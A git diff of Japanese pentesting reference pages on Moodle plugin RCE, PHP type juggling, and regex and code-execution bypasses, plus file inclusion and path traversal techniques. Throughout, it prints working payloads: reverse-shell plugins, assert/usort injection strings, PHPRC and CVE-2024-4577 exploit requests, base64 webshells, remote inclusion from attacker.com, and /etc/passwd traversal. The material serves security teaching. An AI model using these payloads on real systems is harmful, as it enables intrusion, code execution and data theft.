@ -67,7 +66,7 @@ cmsmap http://moodle.example.com/<moodle_path>
## **RCE**
**マネージャー**の役割を持っている必要があり、**"サイト管理"**タブ内に**プラグインをインストール**することができます\*\*:\*\*
**マネージャー**ロールを持っている必要があり、**"サイト管理"**タブ内にプラグインを**インストール**できます\*\*:\*\*
![](<../../images/image (630).png>)
@ -75,7 +74,9 @@ cmsmap http://moodle.example.com/<moodle_path>
次に、クラシックなpentest-monkey php r**ev shell**を含む**以下のプラグインをインストール**できますアップロードする前に解凍し、revshellのIPとポートを変更し、再圧縮する必要があります
{% file src="../../images/moodle-rce-plugin.zip" %}
{{#file}}
moodle-rce-plugin.zip
{{#endfile}}
または、[https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE)からプラグインを使用して、"cmd"パラメータを持つ通常のPHPシェルを取得することもできます。

View File

@ -2,7 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
## Cookiesの一般的な場所:
これはphpMyAdminのクッキーにも当てはまります。
@ -23,19 +22,21 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### 緩やかな比較/型ジャグリング ( == )
PHPで`==`が使用されると、比較が期待通りに動作しない予期しないケースがあります。これは、"=="が同じ型に変換された値のみを比較するためです。比較されるデータの型も同じであることを比較したい場合は、`===`を使用する必要があります。
PHPで`==`が使用されると、比較が期待通りに動作しない予期しないケースがあります。これは、"=="が同じ型に変換された値のみを比較するためです。比較するデータの型も同じであることを確認したい場合は、`===`を使用する必要があります。
PHP比較テーブル: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
PHP比較: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
![](<../../../images/image (567).png>)
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
{{#file}}
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
{{#endfile}}
- `"string" == 0 -> True` 数字で始まらない文字列は数字と等しい
- `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、数字が同じであれば他の数字/文字列と比較でき、結果はTrueになります文字列内の数字は数字として解釈されます
- `"0e3264578" == 0 --> True` "0e"で始まり、何かが続く文字列は0と等しい
- `"0X3264578" == 0X --> True` "0"で始まり、任意の文字Xは任意の文字で続き、何かが続く文字列は0と等しい
- `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては"0"の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、"0e"で始まり、文字が含まれないハッシュを生成する値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"0e12334" == "0" --> True` これは非常に興味深いです。なぜなら、場合によっては"0"の文字列入力とそれにハッシュされて比較されるコンテンツを制御できるからです。したがって、"0e"で始まり、任意の文字がないハッシュを生成する値を提供できれば、比較をバイパスできる可能性があります。この形式の**すでにハッシュされた文字列**はここで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` 文字列内の任意の文字はint 0と等しい
詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)を参照してください。
@ -86,18 +87,18 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
このチェックを回避するには、**新しい行をURLエンコードした値を送信する**`%0A`)か、**JSONデータ**を送信できる場合は、**複数行で送信**します:
このチェックを回避するには、**新しい行をURLエンコードした値**`%0A`を**送信する**か、**JSONデータ**を送信できる場合は、**複数行**で送信します:
```php
{
"cmd": "cat /etc/passwd"
}
```
例を見つけるにはこちらを参照してください: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **長さエラーのバイパス**
(このバイパスは明らかに PHP 5.2.5 で試され、PHP 7.3.15 では動作しませんでした)\
`preg_match()` に有効な非常に **大きな入力** を送信すると、**処理できなくなり**、チェックを **バイパス** できるようになります。たとえば、JSON をブラックリストにしている場合、次のように送信できます:
このバイパスは明らかにPHP 5.2.5で試され、PHP 7.3.15では動作しませんでした)\
`preg_match()`に有効な非常に**大きな入力**を送信すると、**処理できなくなり**、チェックを**バイパス**できるようになります。たとえば、JSONをブラックリストにしている場合、次のように送信できます
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -109,13 +110,13 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
要するに、問題は PHP `preg_*` 関数が [PCRE ライブラリ](http://www.pcre.org/) に基づいているために発生します。PCRE では、特定の正規表現が多くの再帰呼び出しを使用して一致するため、スタックスペースを大量に消費します。再帰の回数に制限を設定することは可能ですが、PHP ではこの制限は [デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) であり、スタックに収まる以上の数です。
要するに、問題はPHPの`preg_*`関数が[PCREライブラリ](http://www.pcre.org/)に基づいているために発生します。PCREでは、特定の正規表現が多くの再帰呼び出しを使用して一致され、これにより多くのスタックスペースが消費されます。再帰の許可数に制限を設定することは可能ですが、PHPではこの制限は[デフォルトで100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)であり、スタックに収まる以上の数です。
[この Stackoverflow スレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) もこの問題について詳しく説明されている投稿にリンクされています。私たちのタスクは明確でした:\
**正規表現が 100,000 回以上の再帰を行うような入力を送信し、SIGSEGV を引き起こし、`preg_match()` 関数が `false` を返すようにして、アプリケーションが私たちの入力を悪意のあるものではないと考えさせ、ペイロードの最後に `{system(<verybadcommand>)}` のような驚きを投げかけて SSTI --> RCE --> フラグ :)**。
[このStackoverflowスレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)も、問題についてより深く語られている投稿にリンクされています。私たちのタスクは明確でした:\
**正規表現が100,000回以上の再帰を行うような入力を送信し、SIGSEGVを引き起こし、`preg_match()`関数が`false`を返すようにして、アプリケーションが私たちの入力を悪意のあるものではないと考えさせ、ペイロードの最後に`{system(<verybadcommand>)}`のような驚きを投げかけてSSTI --> RCE --> フラグを取得することです :)**。
さて、正規表現の用語で言えば、実際には 100k の「再帰」を行っているわけではなく、代わりに「バックトラッキングステップ」を数えています。これは [PHP ドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) によれば、`pcre.backtrack_limit` 変数のデフォルトは 1,000,000 (1M) です。\
それを達成するために、`'X'*500_001` 100 万のバックトラッキングステップ500k 前方と 500k 後方)を生成します:
さて、正規表現の用語で言えば、実際には100kの「再帰」を行っているわけではなく、代わりに「バックトラッキングステップ」を数えています。これは[PHPのドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)によれば、`pcre.backtrack_limit`変数でデフォルトで1,000,0001Mです。\
それを達成するために、`'X'*500_001`は100万のバックトラッキングステップ50万前進し、50万後退)を生成します:
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
@ -132,7 +133,7 @@ $obfs += ""; //int 7
```
## Execute After Redirect (EAR)
PHPが別のページにリダイレクトしているが、ヘッダー`Location`が設定された後に**`die`**または**`exit`**関数が**呼び出されない**場合、PHPは実行を続け、データをボディに追加します:
PHPが別のページにリダイレクトしているが、ヘッダー`Location`が設定された後に**`die`**または**`exit`**関数が**呼び出されていない**場合、PHPは実行を続け、データをボディに追加します:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -142,7 +143,7 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## パス・トラバーサルとファイルインクルージョンの脆弱性
## パス・トラバーサルとファイルインクルージョンの悪用
チェック:
@ -155,13 +156,13 @@ readfile($page);
- **register_globals**: **PHP < 4.1.1.1** または誤って設定された場合、**register_globals** が有効である可能性があります(またはその動作が模倣されています)。これは、グローバル変数のような $\_GET に値がある場合、例えば $\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用される変数を上書きすることができます。
- **同じドメインの PHPSESSION クッキーは同じ場所に保存されます**。したがって、ドメイン内で **異なるパスで異なるクッキーが使用されている場合**、そのパスが **他のパスのクッキーにアクセスする** ように設定することができます。\
この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1 のその変数の値を path2 に適用する**ことができます。そして、path2 は path1 の変数を有効と見なします(クッキーに path2 に対応する名前を付けることによって)。
- マシンの **ユーザー名** を持っている場合、アドレス **/\~\<USERNAME>** をチェックして、php ディレクトリが有効になっているか確認します
- [**LFI と RCE を使用した php ラッパー**](../../../pentesting-web/file-inclusion/index.html)
- マシンの **ユーザー名** を持っている場合、アドレス **/\~\<USERNAME>** をチェックして、php ディレクトリが有効になっているか確認してください
- [**LFI と RCE を php ラッパーを使用して**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
これらの関数は通常、PHP で **パスワードからハッシュを生成する** ために使用され、ハッシュと比較してパスワードが正しいかどうかを **確認** するために使用されます。\
サポートされているアルゴリズムは: `PASSWORD_DEFAULT``PASSWORD_BCRYPT``$2y$` で始まります)。注意すべきは、**PASSWORD_DEFAULT は頻繁に PASSWORD_BCRYPT と同じであることです。** 現在、**PASSWORD_BCRYPT** には **72バイトの入力サイズ制限**があります。したがって、このアルゴリズムで 72 バイトを超えるものをハッシュしようとすると、最初の 72B のみが使用されます:
サポートされているアルゴリズムは: `PASSWORD_DEFAULT``PASSWORD_BCRYPT``$2y$` で始まります)。注意すべきは、**PASSWORD_DEFAULT は頻繁に PASSWORD_BCRYPT と同じであることです。** 現在、**PASSWORD_BCRYPT** には **入力のサイズ制限が 72 バイト** あります。したがって、このアルゴリズムで 72 バイトを超えるものをハッシュしようとすると、最初の 72B のみが使用されます:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -173,9 +174,9 @@ True
#### ヘッダーを設定した後のエラーの発生
[**このTwitterスレッド**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19)から、1000以上のGETパラメータ、1000のPOSTパラメータ、または20ファイルを送信すると、PHPはレスポンスにヘッダーを設定しないことがわかります。
[**このTwitterスレッド**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19)から、1000を超えるGETパラメータや1000を超えるPOSTパラメータ、または20ファイルを送信すると、PHPはレスポンスにヘッダーを設定しないことがわかります。
これにより、例えばCSPヘッダーがコードで設定されるのをバイパスすることが可能になります
これにより、例えばCSPヘッダーが次のようなコードで設定されるのをバイパスすることが可能になります:
```php
<?php
header("Content-Security-Policy: default-src 'none';");
@ -222,18 +223,18 @@ preg_replace("/a/e","phpinfo()","whatever")
```
### **Assert()によるRCE**
このphp内の関数は、**文字列で書かれたコードを実行**して、**trueまたはfalseを返す**ことを可能にします(これに応じて実行を変更します)。通常、ユーザー変数は文字列の中間に挿入されます。例えば:\
このphp内の関数は、**文字列で書かれたコードを実行する**ことを可能にし、**真または偽を返す**(これに応じて実行を変更する)。通常、ユーザー変数は文字列の中間に挿入されます。例えば:\
`assert("strpos($_GET['page']),'..') === false")` --> この場合、**RCE**を得るためには次のようにできます:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
コードの**構文**を**壊し**、**ペイロード**を**追加**し、再び**修正**する必要があります。**論理演算**を使用できます。例えば、"**and"**や**"%26%26"**、または**"|"**です。"or"や"||"は機能しないことに注意してください。最初の条件が真である場合、ペイロードは実行されません。同様に、";"も機能しません。なぜなら、ペイロードは実行されないからです。
コードの**構文**を**壊し**、**ペイロード**を**追加**し、再び**修正**する必要があります。**論理演算**を使用することができます。例えば、"**and"**や**"%26%26"**、または"|"です。"or"や"||"は機能しないことに注意してください。最初の条件が真であれば、ペイロードは実行されません。同様に、";"も機能しません。なぜなら、ペイロードは実行されないからです。
**別のオプション**は、文字列にコマンドの実行を追加することです:`'.highlight_file('.passwd').'`
**別のオプション**(内部コードがある場合)は、実行を変更するために変数を修正することです:`$file = "hola"`
### **usort()によるRCE**
### **usort()を介したRCE**
この関数は、特定の関数を使用してアイテムの配列をソートするために使用されます。\
この関数を悪用するには:
@ -266,26 +267,26 @@ usort();}phpinfo;#, "cmp");
### **.httaccessを介したRCE**
**.htaccess**を**アップロード**できる場合、いくつかの設定を行い、コードを実行することさえできます(.htaccess拡張子のファイルが**実行**できるように設定すること)。
**.htaccess**を**アップロード**できる場合、いくつかのことを**構成**し、コードを実行することさえできます(.htaccess拡張子のファイルが**実行**できるように構成すること)。
異なる.htaccessシェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。
### 環境変数を介したRCE
PHPで**環境変数を変更する**ことを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すれば回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。
PHPで**環境変数を変更する**ことを許可する脆弱性を見つけた場合(ファイルをアップロードするための別の脆弱性も必要ですが、さらに調査すればこれを回避できるかもしれません)、この動作を悪用して**RCE**を取得できます。
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを許可します(ただし、この場合は機能しないかもしれません)。
- **`PHPRC`**: PHPに**設定ファイルの場所**を指示します。通常は`php.ini`と呼ばれます。独自の設定ファイルをアップロードできる場合は、`PHPRC`を使用してPHPにそれを指し示します。2番目のアップロードファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれており、他のコードの前にPHPランタイムによって実行されます**。
1. シェルコードを含むPHPファイルをアップロードします。
2. 1ステップでアップロードしたファイルを実行するようにPHPプリプロセッサに指示する**`auto_prepend_file`**ディレクティブを含む2番目のファイルをアップロードします。
3. `PHPRC`変数を2ステップでアップロードしたファイルに設定します。
- このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)取得できます
- このチェーンを実行する方法についての詳細は[**元のレポートから**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)取得してください
- **PHPRC** - 別のオプション
- **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは`stdin`に送信されたリクエストの**本体**です:
- **ファイルをアップロードできない**場合、FreeBSDでは**`stdin`**を含む"ファイル" `/dev/fd/0`を使用できます。これは`stdin`に送信されたリクエストの**本体**です:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- またはRCEを取得するために、**`allow_url_include`**を有効にし、**base64 PHPコード**を含むファイルを前置きします:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- 技術は[**このレポートから**](https://vulncheck.com/blog/juniper-cve-2023-36845)です。
- この技術は[**このレポートから**](https://vulncheck.com/blog/juniper-cve-2023-36845)です。
### XAMPP CGI RCE - CVE-2024-4577
@ -293,7 +294,7 @@ WebサーバーはHTTPリクエストを解析し、`http://host/cgi.php?foo=bar
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
さらに、PHPの後の正規化により、0xAD文字を使用して"-"パラメータを注入することが可能です。[**この投稿**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/)のエクスプロイト例を確認してください。
さらに、PHPの後の正規化により、0xAD文字を使用して"-"パラメータを注入することが可能です。[**この投稿**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/)からのエクスプロイト例を確認してください。
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
@ -311,7 +312,7 @@ phpinfo();
## PHP サニタイズバイパス & Brain Fuck
[**この投稿では**](https://blog.redteam-pentesting.de/2024/moodle-rce/) 非常に少ない文字で許可される brain fuck PHP コードを生成するための素晴らしいアイデアを見つけることができます。\
さらに、いくつかのチェックをバイパスすることを可能にする関数を実行するための興味深い方法も提案されています:
さらに、いくつかのチェックをバイパスすることを可能にする関数を実行する興味深い方法も提案されています:
```php
(1)->{system($_GET[chr(97)])}
```
@ -327,7 +328,7 @@ PHPアプリケーションをデバッグしている場合は、`/etc/php5/apa
### PHPコードのデオブフスケーション
**web**[ **www.unphp.net**](http://www.unphp.net) **を使用してPHPコードをデオブフスケートできます。**
**www.unphp.net**を使用してPHPコードをデオブフスケートできます。
## PHPラッパーとプロトコル
@ -351,17 +352,17 @@ echo "$x ${Da}"; //Da Drums
```
## RCEを利用した新しい $\_GET\["a"]\($\_GET\["b"])
ページ内で**任意のクラスの新しいオブジェクトを作成できる**場合、RCEを取得できる可能性があります。方法を学ぶには以下のページを確認してください
ページ内で**任意のクラスの新しいオブジェクトを作成**できる場合、RCEを取得できる可能性があります。方法を学ぶには以下のページを確認してください:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
{{#endref}}
## 文字なしでPHPを実行する
## 文字なしでPHPを実行
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
### 8進数を使用する
### 8進数を使用して
```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```
@ -372,9 +373,9 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR 簡単シェルコード
### XOR easy shell code
According to [**this writeup** ](https://mgp25.com/ctf/Web-challenge/)the following it's possible to generate an easy shellcode this way:
[**この解説** ](https://mgp25.com/ctf/Web-challenge/)によると、次の方法で簡単なシェルコードを生成することが可能です:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

View File

@ -1,4 +1,4 @@
# ファイルインクルージョン/パストラバーサル
# ファイルインクルージョン/パス横断
{{#include ../../banners/hacktricks-training.md}}
@ -49,7 +49,7 @@ LinuxのLFIリストを確認してください。
## 基本的なLFIとバイパス
すべての例はローカルファイルインクルージョン用ですが、リモートファイルインクルージョンにも適用できます(ページ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/>))。
すべての例はローカルファイルインクルージョン用ですが、リモートファイルインクルージョンにも適用できます(ページ=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)。
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -61,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **ヌルバイト (%00)**
提供された文字列の末尾に文字を追加するのをバイパスします(バイパス: $\_GET\['param']."php")
提供された文字列の末尾にさらに文字を追加するのをバイパスします(バイパス: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -84,7 +84,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### サーバー上のファイルシステムディレクトリの探索
サーバーのファイルシステムは、特定の技術を用いてファイルだけでなくディレクトリを特定するために再帰的に探索できます。このプロセスは、ディレクトリの深さを決定し、特定のフォルダの存在を探ることを含みます。以下は、これを達成するための詳細な方法です:
サーバーのファイルシステムは、特定の技術を用いてファイルだけでなくディレクトリを特定するために再帰的に探索できます。このプロセスは、ディレクトリの深さを決定し、特定のフォルダの存在を調査することが含まれます。以下は、これを達成するための詳細な方法です:
1. **ディレクトリの深さを決定する:** 現在のディレクトリの深さを確認するために、`/etc/passwd`ファイルを正常に取得しますサーバーがLinuxベースの場合に適用。例として、深さが3であることを示すURLは次のように構成されるかもしれません
```bash
@ -105,15 +105,15 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **パストランケーション技術**
Path truncationは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避することによって、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指すファイルパスを作成することです。
パストランケーションは、ウェブアプリケーションにおけるファイルパスを操作するために使用される手法です。これは、ファイルパスの末尾に追加の文字を付加する特定のセキュリティ対策を回避することによって、制限されたファイルにアクセスするためにしばしば使用されます。目的は、セキュリティ対策によって変更された場合でも、望ましいファイルを指すファイルパスを作成することです。
PHPでは、ファイルシステムの性質により、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば
- `/etc/passwd``/etc//passwd``/etc/./passwd`、および`/etc/passwd/`はすべて同じパスとして扱われます。
- 最後の6文字が`passwd`である場合、`/`を追加して`passwd/`にしても、ターゲットファイルは変更されません。
- 同様に、ファイルパスに`.php`を追加した場合(例えば`shellcode.php`)、末尾に`/.`を追加してもアクセスされるファイルは変更されません。
- 最後の6文字が`passwd`の場合、`/`を追加しても(`passwd/`にする)ターゲットファイルは変わりません。
- 同様に、ファイルパスに`.php`を追加した場合(例えば`shellcode.php`)、末尾に`/.`を追加してもアクセスされるファイルは変更されません。
提供された例は、パストランケーションを利用して、機密情報(ユーザーアカウント情報)を含む一般的なターゲットである`/etc/passwd`にアクセスする方法を示しています:
提供された例は、パストランケーションを利用して、敏感な内容(ユーザーアカウント情報)を持つ一般的なターゲットである`/etc/passwd`にアクセスする方法を示しています:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -123,11 +123,11 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
これらのシナリオでは、必要なトラバーサルの数は約2027になる可能性がありますが、この数はサーバーの構成によって異なる場合があります。
これらのシナリオでは、必要なトラバーサルの数は約2027になる可能性がありますが、この数はサーバーの構成によって異なる場合があります。
- **ドットセグメントと追加文字の使用**: トラバーサルシーケンス(`../`に追加のドットセグメントや文字を組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。
- **必要なトラバーサルの数を決定する**: 試行錯誤を通じて、ルートディレクトリに移動し、その後`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができ、追加された文字列(`.php`など)が無効化される一方で、目的のパス(`/etc/passwd`)はそのまま保持されます。
- **偽のディレクトリから始める**: 存在しないディレクトリ(`a/`など)でパスを始めるのは一般的な慣行です。この技術は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。
- **ドットセグメントと追加文字の使用**: トラバーサルシーケンス(`../`を追加のドットセグメントや文字と組み合わせることで、ファイルシステムをナビゲートし、サーバーによって追加された文字列を効果的に無視することができます。
- **必要なトラバーサルの数を決定する**: 試行錯誤を通じて、ルートディレクトリに移動し、次に`/etc/passwd`に移動するために必要な正確な`../`シーケンスの数を見つけることができ、追加された文字列(`.php`など)が無効化される一方で、目的のパス(`/etc/passwd`)はそのまま保持されます。
- **偽のディレクトリから始める**: 存在しないディレクトリ(`a/`など)でパスを始めるのは一般的な慣行です。この技術は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使用されます。
パストランケーション技術を使用する際は、サーバーのパス解析の挙動とファイルシステムの構造を理解することが重要です。各シナリオには異なるアプローチが必要な場合があり、最も効果的な方法を見つけるためにはテストがしばしば必要です。
@ -148,20 +148,20 @@ In php this is disable by default because **`allow_url_include`** is **Off.** It
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
もし何らかの理由で **`allow_url_include`** が **On** であるが、PHPが外部ウェブページへのアクセスを **フィルタリング** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によれば、例えばデータプロトコルを使用してbase64でエンコードされたPHPコードをデコードし、RCEを取得することができます:
もし何らかの理由で **`allow_url_include`** が **On** であるが、PHPが外部ウェブページへのアクセスを **フィルタリング** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によると、例えばデータプロトコルを使用してbase64でエンコードされたPHPコードをデコードし、RCEを取得することができます:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> 前のコードでは、最終的な `+.txt` が追加されました。これは攻撃者が `.txt` で終わる文字列を必要としたためで、文字列はそれで終わり、その後の b64 デコードではその部分が無駄なデータを返し、実際の PHP コードが含まれる(したがって、実行される)ことになります
> 前のコードでは、最終的な `+.txt` が追加されました。これは攻撃者が `.txt` で終わる文字列を必要としたためで、その文字列はそれで終わり、b64 デコードの後、その部分はただのゴミを返し、実際の PHP コードが含まれ(したがって、実行されます)
別の例は **`php://` プロトコルを使用しない** ものです:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python ルート要素
## Python Root element
In python in a code like this one:
Pythonのこのようなコードでは:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
@ -173,7 +173,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
```
意図された動作は、[the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) によると次の通りです:
> コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、結合は絶対パスコンポーネントから続行されます。
> コンポーネントが絶対パスである場合、すべての前のコンポーネントは破棄され、絶対パスコンポーネントから結合が続行されます。
## Java ディレクトリのリスト
@ -226,7 +226,7 @@ PHPフィルターは、データが読み込まれる前または書き込ま
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。**サポートされているすべてのエンコーディングのリスト**を取得するには、コンソールで `iconv -l` を実行します。
- `convert.iconv.*` : 異なるエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。サポートされている**すべてのエンコーディングのリスト**を取得するには、コンソールで `iconv -l` を実行します。
> [!WARNING]
> `convert.iconv.*` 変換フィルターを悪用することで、**任意のテキストを生成**することができ、任意のテキストを書くためや、includeプロセスを任意のテキストで実行するために役立つ可能性があります。詳細については、[**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)を確認してください。
@ -269,29 +269,29 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> "php://filter" の部分は大文字と小文字を区別しません
> "php://filter"の部分は大文字と小文字を区別しません
### phpフィルタをオラクルとして使用して任意のファイルを読み取る
[**この記事**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)では、サーバーからの出力を返さずにローカルファイルを読み取る技術が提案されています。この技術は、**phpフィルタをオラクルとして使用したファイルのブール型抽出文字ごと**に基づいています。これは、phpフィルタを使用してテキストを大きくし、phpが例外をスローするようにするためです。
[**この記事では**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) サーバーからの出力を返さずにローカルファイルを読み取る技術が提案されています。この技術は、**phpフィルタをオラクルとして使用したファイルのブール型抽出文字ごと**に基づいています。これは、phpフィルタを使用してテキストを大きくし、phpが例外をスローするようにするためです。
元の記事には技術の詳細な説明がありますが、ここでは簡単な要約を示します:
- コーデック **`UCS-4LE`** を使用してテキストの先頭に先行文字を残し、文字列のサイズを指数関数的に増加させます。
- これは、最初の文字が正しく推測されたときに**非常に大きなテキストを生成するため**に使用され、phpが**エラー**をトリガーします。
- **dechunk** フィルタは、最初の文字が16進数でない場合は**すべてを削除**するため、最初の文字が16進数かどうかを知ることができます。
- これに加えて前述のもの(および推測された文字に応じた他のフィルタ)を組み合わせることで、テキストの最初の文字を推測することができ、十分な変換を行うことでそれが16進数文字でなくなるのを確認できます。なぜなら、16進数の場合、dechunkはそれを削除せず、初期の爆弾がphpエラーを引き起こすからです。
- コーデック **convert.iconv.UNICODE.CP930** は、すべての文字を次の文字に変換しますこのコーデックの後a -> b。これにより、最初の文字が`a`であるかどうかを発見できます。たとえば、6回このコーデックを適用すると、a->b->c->d->e->f->gとなり、文字はもはや16進数文字ではなくなります。したがって、dechunkはそれを削除せず、phpエラーが初期の爆弾とともにトリガーされます。
- **rot13** のような他の変換を最初に使用することで、n、o、p、q、rなどの他の文字を漏洩させることが可能です他のコーデックを使用して他の文字を16進数範囲に移動させることができます
- 最初の文字が数字の場合、それをbase64エンコードし、数字を漏洩させるために最初の2文字を漏洩させる必要があります。
- これは、**最初の文字が正しく推測されたときに非常に大きなテキストを生成するために使用され**、phpが**エラー**を引き起こします。
- **dechunk**フィルタは、**最初の文字が16進数でない場合はすべてを削除**するため、最初の文字が16進数かどうかを知ることができます。
